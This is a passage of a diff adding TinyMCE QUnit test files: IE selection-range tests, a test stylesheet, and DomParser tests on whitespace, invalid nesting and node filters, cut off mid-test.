+		rng.setStart(editor.getBody().firstChild.firstChild, 1);
+		rng.setEnd(editor.getBody().firstChild.firstChild, 3);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.startOffset, 1);
+		equal(rng.endOffset, 3);
+		equal(editor.dom.getOuterHTML(rng.cloneContents()), '23');
+	});
+	
+	test("Text node selection between two elements", function(){
+		expect(5);
+		
+		editor.setContent('<p>1234</p><p>abcd</p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild.firstChild, 1);
+		rng.setEnd(editor.getBody().childNodes[1].firstChild, 3);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.startOffset, 1);
+		equal(rng.endOffset, 3);
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).replace(/[\r\n]/g, '').toLowerCase(), '<p>234</p><p>abc</p>');
+		
+		editor.setContent('<p>1</p><p>1234</p><p>abcd</p><p>2</p>', {
+			format: 'raw'
+		});
+	});
+	
+	test("Mixed selection start at element end at text", function(){
+		expect(5);
+		
+		editor.setContent('<p><img src="about:blank" />text</p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartBefore(editor.dom.select('img')[0]);
+		rng.setEnd(editor.getBody().firstChild.lastChild, 3);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.startOffset, 0);
+		equal(rng.endOffset, 3);
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase(), '<img src="about:blank">tex');
+	});
+	
+	test("Mixed selection start at text end at element", function(){
+		expect(5);
+		
+		editor.setContent('<p>text<img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild.firstChild, 1);
+		rng.setEndAfter(editor.getBody().firstChild.lastChild);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.startOffset, 1);
+		
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.endOffset, 2);
+		
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase(), 'ext<img src="about:blank">');
+	});
+	
+	test("Caret position before image", function(){
+		expect(4);
+		
+		editor.setContent('<p><img src="about:blank" /><img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartBefore(editor.dom.select('img')[0]);
+		rng.setEndBefore(editor.dom.select('img')[0]);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.startOffset, 0);
+		equal(rng.endOffset, 0);
+	});
+	
+	test("Caret position between images", function(){
+		expect(4);
+		
+		editor.setContent('<p><img src="about:blank" /><img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartAfter(editor.dom.select('img')[0]);
+		rng.setEndAfter(editor.dom.select('img')[0]);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.startOffset, 1);
+		equal(rng.endOffset, 1);
+	});
+	
+	test("Caret position after image", function(){
+		expect(4);
+		
+		editor.setContent('<p><img src="about:blank" /><img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartAfter(editor.dom.select('img')[1]);
+		rng.setEndAfter(editor.dom.select('img')[1]);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.startOffset, 2);
+		equal(rng.endOffset, 2);
+	});
+	
+	test("Selection of empty text element", function(){
+		expect(6);
+		
+		editor.setContent('<div></div>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'BODY');
+		equal(rng.endContainer.nodeName, 'BODY');
+		equal(rng.startOffset, 0);
+		equal(rng.endOffset, 1);
+		equal(rng.startContainer.childNodes[0].innerHTML, '');
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase(), '<div></div>');
+	});
+
+	test("Selection of empty text element with caret inside", function(){
+		expect(6);
+		
+		editor.setContent('<div></div>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 0);
+		rng.setEnd(editor.getBody().firstChild, 0);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'DIV');
+		equal(rng.endContainer.nodeName, 'DIV');
+		equal(rng.startOffset, 0);
+		equal(rng.endOffset, 0);
+		equal(rng.startContainer.innerHTML, '');
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase(), '');
+	});
+
+	/*test("Caret position before table", function() {
+		var table, rng;
+
+		editor.focus();
+		editor.setContent('<p>Before</p><table id="table" border="1"><tr><td>Cell 1</td><td>Cell 2</td></tr><tr><td>Cell 3</td><td>Cell 4</td></tr></table><p>After</p>');
+
+		table = editor.dom.get('table');
+		rng = editor.selection.getRng();
+		rng.moveToElementText(table);
+		rng.move('character', -1);
+		rng.select();
+
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'BODY');
+		equal(rng.startOffset, 1);
+		equal(rng.endContainer.nodeName, 'BODY');
+		equal(rng.endOffset, 1);
+	});*/
+
+	test("Selection end within empty element", function() {
+		var rng;
+
+		editor.focus();
+		editor.getBody().innerHTML = '<p>123</p><p></p>';
+
+		rng = editor.execCommand('SelectAll');
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.startOffset, 0);
+		equal(rng.endContainer.nodeName, 'BODY');
+		equal(rng.endOffset, 2);
+	});
+
+	test("Selection after paragraph", function() {
+		var rng;
+
+		editor.focus();
+		editor.getBody().innerHTML = '<p>123</p><p>abcd</p>';
+
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 1);
+		rng.setEnd(editor.getBody().firstChild, 1);
+		editor.selection.setRng(rng);
+
+		rng = editor.selection.getRng(true);
+		ok(rng.startContainer == rng.endContainer);
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.startOffset, 3);
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.endOffset, 3);
+	});
+
+	test("Selection of text outside of a block element", function() {
+		var r;
+		
+		editor.settings.forced_root_block = '';
+		editor.focus();
+		editor.getBody().innerHTML = '<ul><li>Item</li></ul>Text';
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().lastChild, 2);
+		r.setEnd(editor.getBody().lastChild, 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().lastChild, "Start container is text node.");
+		equal(r.endContainer, editor.getBody().lastChild, "End container is text node.");
+		equal(r.startOffset, 2);
+		equal(r.endOffset, 2);
+
+		equal(editor.selection.getStart(), editor.getBody(), "Selection start is body.");
+		deepEqual(editor.selection.getSelectedBlocks(), [], "No blocks selected.");
+	});
+
+	test("Resizable element text selection", function() {
+		var r;
+
+		editor.getBody().innerHTML = '<div style="width: 100px; height:100px;"><table><tr><td>.</td></tr></table>abc</div>';
+		editor.focus();
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().firstChild.lastChild, 1);
+		r.setEnd(editor.getBody().firstChild.lastChild, 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().firstChild.lastChild, "Start container is text node.");
+		equal(r.endContainer, editor.getBody().firstChild.lastChild, "End container is text node.");
+		equal(r.startOffset, 1);
+		equal(r.endOffset, 2);
+	});
+
+	test("Resizable element before table selection", function() {
+		var r;
+
+		editor.getBody().innerHTML = '<div style="width: 100px; height:100px;"><table><tr><td>.</td></tr></table></div>';
+		editor.focus();
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().firstChild, 0);
+		r.setEnd(editor.getBody().firstChild, 0);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().firstChild, "Start container is div node.");
+		equal(r.endContainer, editor.getBody().firstChild, "End container is div node.");
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 0);
+	});
+
+	test("Fragmented text nodes after element", function() {
+		var r;
+
+		editor.getBody().innerHTML = '<b>x</b>';
+		editor.getBody().appendChild(editor.getDoc().createTextNode('1'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('23'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('456'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('7890'));
+		editor.focus();
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().lastChild, 1);
+		r.setEnd(editor.getBody().lastChild, 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().lastChild, "Start container is last text node.");
+		equal(r.endContainer, editor.getBody().lastChild, "End container is last text node.");
+		equal(r.startOffset, 1);
+		equal(r.endOffset, 1);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().childNodes[2], 2);
+		r.setEnd(editor.getBody().childNodes[2], 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().childNodes[2], "Start container is second text node.");
+		equal(r.endContainer, editor.getBody().childNodes[2], "End container is second text node.");
+		equal(r.startOffset, 2);
+		equal(r.endOffset, 2);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().childNodes[3], 0);
+		r.setEnd(editor.getBody().childNodes[3], 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().childNodes[2], "Start container is second text node (lean left).");
+		equal(r.endContainer, editor.getBody().childNodes[3], "End container is third text node.");
+		equal(r.startOffset, 2);
+		equal(r.endOffset, 1);
+	});
+
+	test("Fragmented text nodes before element", function() {
+		var r;
+
+		editor.getBody().innerHTML = '';
+		editor.getBody().appendChild(editor.getDoc().createTextNode('1'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('23'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('456'));
+		editor.getBody().appendChild(editor.getDoc().createTextNode('7890'));
+		editor.getBody().appendChild(editor.dom.create('b', null, 'x'));
+		editor.focus();
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().childNodes[3], 1);
+		r.setEnd(editor.getBody().childNodes[3], 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().childNodes[3], "Start container is last text node.");
+		equal(r.endContainer, editor.getBody().childNodes[3], "End container is last text node.");
+		equal(r.startContainer.nodeValue, '7890');
+		equal(r.startOffset, 1);
+		equal(r.endOffset, 1);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().childNodes[1], 2);
+		r.setEnd(editor.getBody().childNodes[1], 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().childNodes[2], "Start container is second text node. (lean right)");
+		equal(r.endContainer, editor.getBody().childNodes[2], "End container is second text node.");
+		equal(r.startContainer.nodeValue, '456');
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 0);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody().childNodes[1], 0);
+		r.setEnd(editor.getBody().childNodes[1], 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody().childNodes[1], "Start container is second text node.");
+		equal(r.endContainer, editor.getBody().childNodes[1], "End container is third text node.");
+		equal(r.startContainer.nodeValue, '23');
+		equal(r.endContainer.nodeValue, '23');
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 1);
+	});
+
+	test("Non contentEditable elements", function() {
+		var r;
+
+		editor.getBody().innerHTML = '<span contentEditable="false">a</span><span contentEditable="false">a</span><span contentEditable="false">a</span>';
+		editor.focus();
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody(), 0);
+		r.setEnd(editor.getBody(), 0);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody(), "Start container is before first nonEditable.");
+		equal(r.endContainer, editor.getBody(), "End container is before  first nonEditable.");
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 0);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody(), 0);
+		r.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody(), "Start container before first nonEditable.");
+		equal(r.endContainer, editor.getBody(), "End container is after first nonEditable.");
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 1);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody(), 0);
+		r.setEnd(editor.getBody(), 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody(), "Start container before first nonEditable.");
+		equal(r.endContainer, editor.getBody(), "End container is after second nonEditable.");
+		equal(r.startOffset, 0);
+		equal(r.endOffset, 2);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody(), 1);
+		r.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody(), "Start container is before second nonEditable.");
+		equal(r.endContainer, editor.getBody(), "End container is div before second nonEditable.");
+		equal(r.startOffset, 1);
+		equal(r.endOffset, 1);
+
+		r = editor.dom.createRng();
+		r.setStart(editor.getBody(), 2);
+		r.setEnd(editor.getBody(), 2);
+		editor.selection.setRng(r);
+
+		r = editor.selection.getRng(true);
+		equal(r.startContainer, editor.getBody(), "Start container is after last nonEditable.");
+		equal(r.endContainer, editor.getBody(), "End container is after last nonEditable.");
+		equal(r.startOffset, 2);
+		equal(r.endOffset, 2);
+	});
+} else {
+	test("Skipped ie_selection tests as not running in IE.", function() {
+		ok(true, "Dummy assert");
+	});
+}
+
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/test.css
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/test.css	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/test.css	(revision 33402)
@@ -0,0 +1,120 @@
+body, div, h1 { font-family: 'trebuchet ms', verdana, arial; margin: 0; padding: 0 }
+body {font-size: 10pt; }
+h1 { padding: 15px; font-size: large; background-color: #06b; color: white; }
+h1 a { color: white; }
+h2 { padding: 10px; background-color: #eee; color: black; margin: 0; font-size: small; font-weight: normal }
+
+.pass { color: green; } 
+.fail { color: red; } 
+p.result { margin-left: 1em; }
+
+#banner { height: 2em; border-bottom: 1px solid white; }
+h2.pass { background-color: green; }
+h2.fail { background-color: red; }
+
+div.testrunner-toolbar { background: #eee; border-top: 1px solid black; padding: 10px; }
+
+ol#tests > li > strong { cursor:pointer; }
+
+div#fx-tests h4 {
+	background: red;
+}
+
+div#fx-tests h4.pass {
+	background: green;
+}
+
+div#fx-tests div.box {
+	background: red url(data/cow.jpg) no-repeat;
+	overflow: hidden;
+	border: 2px solid #000;
+}
+
+div#fx-tests div.overflow {
+	overflow: visible;
+}
+
+div.inline {
+	display: inline;
+}
+
+div.autoheight {
+	height: auto;
+}
+
+div.autowidth {
+	width: auto;
+}
+
+div.autoopacity {
+	opacity: auto;
+}
+
+div.largewidth {
+	width: 100px;
+}
+
+div.largeheight {
+	height: 100px;
+}
+
+div.largeopacity {
+	filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);
+}
+
+div.medwidth {
+	width: 50px;
+}
+
+div.medheight {
+	height: 50px;
+}
+
+div.medopacity {
+	opacity: 0.5;
+	filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);
+}
+
+div.nowidth {
+	width: 0px;
+}
+
+div.noheight {
+	height: 0px;
+}
+
+div.noopacity {
+	opacity: 0;
+	filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);
+}
+
+div.hidden {
+	display: none;
+}
+
+div#fx-tests div.widewidth {
+	background-repeat: repeat-x;
+}
+
+div#fx-tests div.wideheight {
+	background-repeat: repeat-y;
+}
+
+div#fx-tests div.widewidth.wideheight {
+	background-repeat: repeat;
+}
+
+div#fx-tests div.noback {
+	background-image: none;
+}
+
+div.chain, div.chain div { width: 100px; height: 20px; position: relative; float: left; }
+div.chain div { position: absolute; top: 0px; left: 0px; }
+
+div.chain.test { background: red; }
+div.chain.test div { background: green; }
+
+div.chain.out { background: green; }
+div.chain.out div { background: red; display: none; }
+
+div#show-tests * { display: none; }
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/DomParser.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/DomParser.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/DomParser.js	(revision 33402)
@@ -0,0 +1,520 @@
+(function() {
+	module("tinymce.html.DomParser");
+
+	var schema = new tinymce.html.Schema({valid_elements: '*[class|title]'});
+	var serializer = new tinymce.html.Serializer({}, schema);
+	var parser, root;
+
+	function countNodes(node, counter) {
+		var sibling;
+
+		if (!counter) {
+			counter = {};
+		}
+
+		if (node.name in counter) {
+			counter[node.name]++;
+		} else {
+			counter[node.name] = 1;
+		}
+
+		for (sibling = node.firstChild; sibling; sibling = sibling.next) {
+			countNodes(sibling, counter);
+		}
+
+		return counter;
+	}
+
+	schema.addValidChildren('+body[style]');
+
+	test('Parse element', function() {
+		var parser, root;
+
+		expect(7);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<B title="title" class="class">test</B>');
+		equal(serializer.serialize(root), '<b class="class" title="title">test</b>', 'Inline element');
+		equal(root.firstChild.type, 1, 'Element type');
+		equal(root.firstChild.name, 'b', 'Element name');
+		deepEqual(root.firstChild.attributes, [{name: 'title', value: 'title'}, {name: 'class', value: 'class'}], 'Element attributes');
+		deepEqual(countNodes(root), {body:1, b:1, '#text':1}, 'Element attributes (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <SCRIPT>  \t\r\n   a < b > \t\r\n   </S' + 'CRIPT>   \t\r\n  ');
+		equal(serializer.serialize(root), '<script>  \t\r\n   a < b > \t\r\n   </s' + 'cript>', 'Retain code inside SCRIPT');
+		deepEqual(countNodes(root), {body:1, script:1, '#text':1}, 'Retain code inside SCRIPT (count)');
+	});
+
+	test('Whitespace', function() {
+		expect(12);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <B>  \t\r\n   test  \t\r\n   </B>   \t\r\n  ');
+		equal(serializer.serialize(root), ' <b> test </b> ', 'Redundant whitespace (inline element)');
+		deepEqual(countNodes(root), {body:1, b:1, '#text':3}, 'Redundant whitespace (inline element) (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <P>  \t\r\n   test  \t\r\n   </P>   \t\r\n  ');
+		equal(serializer.serialize(root), '<p>test</p>', 'Redundant whitespace (block element)');
+		deepEqual(countNodes(root), {body:1, p:1, '#text':1}, 'Redundant whitespace (block element) (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <SCRIPT>  \t\r\n   test  \t\r\n   </S' + 'CRIPT>   \t\r\n  ');
+		equal(serializer.serialize(root), '<script>  \t\r\n   test  \t\r\n   </s' + 'cript>', 'Whitespace around and inside SCRIPT');
+		deepEqual(countNodes(root), {body:1, script:1, '#text':1}, 'Whitespace around and inside SCRIPT (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <STYLE>  \t\r\n   test  \t\r\n   </STYLE>   \t\r\n  ');
+		equal(serializer.serialize(root), '<style>  \t\r\n   test  \t\r\n   </style>', 'Whitespace around and inside STYLE');
+		deepEqual(countNodes(root), {body:1, style:1, '#text':1}, 'Whitespace around and inside STYLE (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<ul>\n<li>Item 1\n<ul>\n<li>\n \t Indented \t \n</li>\n</ul>\n</li>\n</ul>\n');
+		equal(serializer.serialize(root), '<ul><li>Item 1<ul><li>Indented</li></ul></li></ul>', 'Whitespace around and inside blocks (ul/li)');
+		deepEqual(countNodes(root), {body:1, li:2, ul:2, '#text':2}, 'Whitespace around and inside blocks (ul/li) (count)');
+
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({invalid_elements : 'hr,br'}));
+		root = parser.parse('\n<hr />\n<br />\n<div>\n<hr />\n<br />\n<img src="file.gif" data-mce-src="file.gif" />\n<hr />\n<br />\n</div>\n<hr />\n<br />\n');
+		equal(serializer.serialize(root), '<div><img src="file.gif" data-mce-src="file.gif" alt="" /></div>', 'Whitespace where SaxParser will produce multiple whitespace nodes');
+		deepEqual(countNodes(root), {body:1, div:1, img:1}, 'Whitespace where SaxParser will produce multiple whitespace nodes (count)');
+	});
+
+	test('Whitespace before/after invalid element with text in block', function() {
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({invalid_elements : 'em'}));
+		root = parser.parse('<p>a <em>b</em> c</p>');
+		equal(serializer.serialize(root), '<p>a b c</p>');
+	});
+
+	test('Whitespace before/after invalid element whitespace element in block', function() {
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({invalid_elements : 'span'}));
+		root = parser.parse('<p> <span></span> </p>');
+		equal(serializer.serialize(root), '<p>\u00a0</p>');
+	});
+
+	test('Whitespace preserved in PRE', function() {
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <PRE>  \t\r\n   test  \t\r\n   </PRE>   \t\r\n  ');
+		equal(serializer.serialize(root), '<pre>  \t\r\n   test  \t\r\n   </pre>', 'Whitespace around and inside PRE');
+		deepEqual(countNodes(root), {body:1, pre:1, '#text':1}, 'Whitespace around and inside PRE (count)');
+	});
+
+	test('Whitespace preserved in SPAN inside PRE', function() {
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('  \t\r\n  <PRE>  \t\r\n  <span>    test    </span> \t\r\n   </PRE>   \t\r\n  ');
+		equal(serializer.serialize(root), '<pre>  \t\r\n  <span>    test    </span> \t\r\n   </pre>', 'Whitespace around and inside PRE');
+		deepEqual(countNodes(root), {body:1, pre:1, span:1, '#text':3}, 'Whitespace around and inside PRE (count)');
+	});
+
+	test('Parse invalid contents', function() {
+		var parser, root;
+
+		expect(20);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a"><p class="b">123</p></p>');
+		equal(serializer.serialize(root), '<p class="b">123</p>', 'P in P, no nodes before/after');
+		deepEqual(countNodes(root), {body:1, p:1, '#text':1}, 'P in P, no nodes before/after (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a">a<p class="b">b</p><p class="c">c</p>d</p>');
+		equal(serializer.serialize(root), '<p class="a">a</p><p class="b">b</p><p class="c">c</p><p class="a">d</p>', 'Two P in P, no nodes before/after');
+		deepEqual(countNodes(root), {body: 1, p:4, '#text': 4}, 'Two P in P, no nodes before/after (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a">abc<p class="b">def</p></p>');
+		equal(serializer.serialize(root), '<p class="a">abc</p><p class="b">def</p>', 'P in P with nodes before');
+		deepEqual(countNodes(root), {body: 1, p:2, '#text': 2}, 'P in P with nodes before (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a"><p class="b">abc</p>def</p>');
+		equal(serializer.serialize(root), '<p class="b">abc</p><p class="a">def</p>', 'P in P with nodes after');
+		deepEqual(countNodes(root), {body: 1, p:2, '#text': 2}, 'P in P with nodes after (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a"><p class="b">abc</p><br></p>');
+		equal(serializer.serialize(root), '<p class="b">abc</p>', 'P in P with BR after');
+		deepEqual(countNodes(root), {body: 1, p:1, '#text': 1}, 'P in P with BR after (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a">a<strong>b<span>c<em>d<p class="b">e</p>f</em>g</span>h</strong>i</p>');
+		equal(serializer.serialize(root), '<p class="a">a<strong>b<span>c<em>d</em></span></strong></p><p class="b">e</p><p class="a"><strong><span><em>f</em>g</span>h</strong>i</p>', 'P in P wrapped in inline elements');
+		deepEqual(countNodes(root), {"body":1, "p":3, "#text":9, "strong":2, "span":2, "em": 2}, 'P in P wrapped in inline elements (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="a">a<p class="b">b<p class="c">c</p>d</p>e</p>');
+		equal(serializer.serialize(root), '<p class="a">a</p><p class="b">b</p><p class="c">c</p><p class="b">d</p><p class="a">e</p>', 'P in P in P with text before/after');
+		deepEqual(countNodes(root), {body: 1, p:5, '#text': 5}, 'P in P in P with text before/after (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p>a<ul><li>b</li><li>c</li></ul>d</p>');
+		equal(serializer.serialize(root), '<p>a</p><ul><li>b</li><li>c</li></ul><p>d</p>', 'UL inside P');
+		deepEqual(countNodes(root), {body: 1, p:2, ul:1, li:2, '#text': 4}, 'UL inside P (count)');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<table><tr><td><tr>a</tr></td></tr></table>');
+		equal(serializer.serialize(root), '<table><tr><td>a</td></tr></table>', 'TR inside TD');
+		deepEqual(countNodes(root), {body: 1, table:1, tr:1, td:1, '#text': 1}, 'TR inside TD (count)');
+
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({valid_elements: 'p,section,div'}));
+		root = parser.parse('<div><section><p>a</p></section></div>');
+		equal(serializer.serialize(root), '<div><section><p>a</p></section></div>', 'P inside SECTION');
+		deepEqual(countNodes(root), {"body":1, "div":1, "section":1, "p":1, "#text":1}, 'P inside SECTION (count)');
+	});
+
+	test('Remove empty nodes', function() {
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({valid_elements: '-p,-span[id]'}));
+		root = parser.parse('<p>a<span></span><span> </span><span id="x">b</span><span id="y"></span></p><p></p><p><span></span></p><p> </p>');
+		equal(serializer.serialize(root), '<p>a <span id="x">b</span><span id="y"></span></p>');
+	});
+
+	test('addNodeFilter', function() {
+		var parser, result;
+
+		expect(7);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		parser.addNodeFilter('#comment', function(nodes, name, args) {
+			result = {nodes : nodes, name : name, args : args};
+		});
+		parser.parse('text<!--text1-->text<!--text2-->');
+
+		deepEqual(result.args, {}, 'Parser args');
+		equal(result.name, '#comment', 'Parser filter result name');
+		equal(result.nodes.length, 2, 'Parser filter result node');
+		equal(result.nodes[0].name, '#comment', 'Parser filter result node(0) name');
+		equal(result.nodes[0].value, 'text1', 'Parser filter result node(0) value');
+		equal(result.nodes[1].name, '#comment', 'Parser filter result node(1) name');
+		equal(result.nodes[1].value, 'text2', 'Parser filter result node(1) value');
+	});
+
+	test('addNodeFilter multiple names', function() {
+		var parser, results = {};
+
+		expect(14);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		parser.addNodeFilter('#comment,#text', function(nodes, name, args) {
+			results[name] = {nodes : nodes, name : name, args : args};
+		});
+		parser.parse('text1<!--text1-->text2<!--text2-->');
+
+		deepEqual(results['#comment'].args, {}, 'Parser args');
+		equal(results['#comment'].name, '#comment', 'Parser filter result name');
+		equal(results['#comment'].nodes.length, 2, 'Parser filter result node');
+		equal(results['#comment'].nodes[0].name, '#comment', 'Parser filter result node(0) name');
+		equal(results['#comment'].nodes[0].value, 'text1', 'Parser filter result node(0) value');
+		equal(results['#comment'].nodes[1].name, '#comment', 'Parser filter result node(1) name');
+		equal(results['#comment'].nodes[1].value, 'text2', 'Parser filter result node(1) value');
+		deepEqual(results['#text'].args, {}, 'Parser args');
+		equal(results['#text'].name, '#text', 'Parser filter result name');
+		equal(results['#text'].nodes.length, 2, 'Parser filter result node');
+		equal(results['#text'].nodes[0].name, '#text', 'Parser filter result node(0) name');
+		equal(results['#text'].nodes[0].value, 'text1', 'Parser filter result node(0) value');
+		equal(results['#text'].nodes[1].name, '#text', 'Parser filter result node(1) name');
+		equal(results['#text'].nodes[1].value, 'text2', 'Parser filter result node(1) value');
+	});
+
+	test('addNodeFilter with parser args', function() {
+		var parser, result;
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		parser.addNodeFilter('#comment', function(nodes, name, args) {
+			result = {nodes : nodes, name : name, args : args};
+		});
+		parser.parse('text<!--text1-->text<!--text2-->', {value: 1});
+
+		deepEqual(result.args, {value: 1}, 'Parser args');
+	});
+
+	test('addAttributeFilter', function() {
+		var parser, result;
+
+		expect(7);
+
+		parser = new tinymce.html.DomParser({});
+		parser.addAttributeFilter('src', function(nodes, name, args) {
+			result = {nodes : nodes, name : name, args : args};
+		});
+		parser.parse('<b>a<img src="1.gif" />b<img src="1.gif" />c</b>');
+
+		deepEqual(result.args, {}, 'Parser args');
+		equal(result.name, 'src', 'Parser filter result name');
